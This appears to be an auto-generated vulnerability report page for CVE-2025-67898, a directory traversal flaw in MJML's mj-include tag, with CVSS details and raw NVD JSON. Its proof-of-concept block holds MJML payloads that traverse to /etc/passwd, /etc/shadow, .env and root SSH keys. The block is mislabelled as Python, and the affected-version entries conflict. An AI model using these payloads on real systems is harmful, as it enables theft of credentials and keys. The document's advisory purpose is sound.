Security Vulnerability Report
中文
CVE-2025-67898 CVSS 4.5 MEDIUM

CVE-2025-67898

Published: 2025-12-14 22:15:37
Last Modified: 2026-04-15 00:35:42

Description

MJML through 4.18.0 allows mj-include directory traversal to test file existence and (in the type="css" case) read files. NOTE: this issue exists because of an incomplete fix for CVE-2020-12827.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

MJML < 4.18.0
MJML <= 4.18.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-67898: MJML mj-include Directory Traversal --> <!-- File existence detection and content reading via path traversal --> <mjml> <mj-body> <!-- Detect file existence using error messages --> <mj-include path="../../../../etc/passwd" type="css" /> <!-- Read sensitive files on Linux systems --> <mj-include path="../../../../.env" type="css" /> <mj-include path="../../../../etc/hostname" type="css" /> <mj-include path="../../../../root/.ssh/id_rsa" type="css" /> <!-- Windows target examples --> <mj-include path="..\..\..\windows\win.ini" type="css" /> <mj-include path="..\..\..\boot.ini" type="css" /> <!-- Path traversal with different encoding --> <mj-include path="....//....//....//etc/passwd" type="css" /> <mj-include path="....\/....\/....\/etc/passwd" type="css" /> </mj-body> </mjml> <!-- Alternative PoC using mj-include without type attribute --> <mjml> <mj-body> <!-- This may trigger file existence check --> <mj-include path="../../../../etc/shadow" /> </mj-body> </mjml>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67898", "sourceIdentifier": "[email protected]", "published": "2025-12-14T22:15:36.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MJML through 4.18.0 allows mj-include directory traversal to test file existence and (in the type=\"css\" case) read files. NOTE: this issue exists because of an incomplete fix for CVE-2020-12827."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "references": [{"url": "https://github.com/mjmlio/mjml/issues/3018", "source": "[email protected]"}]}}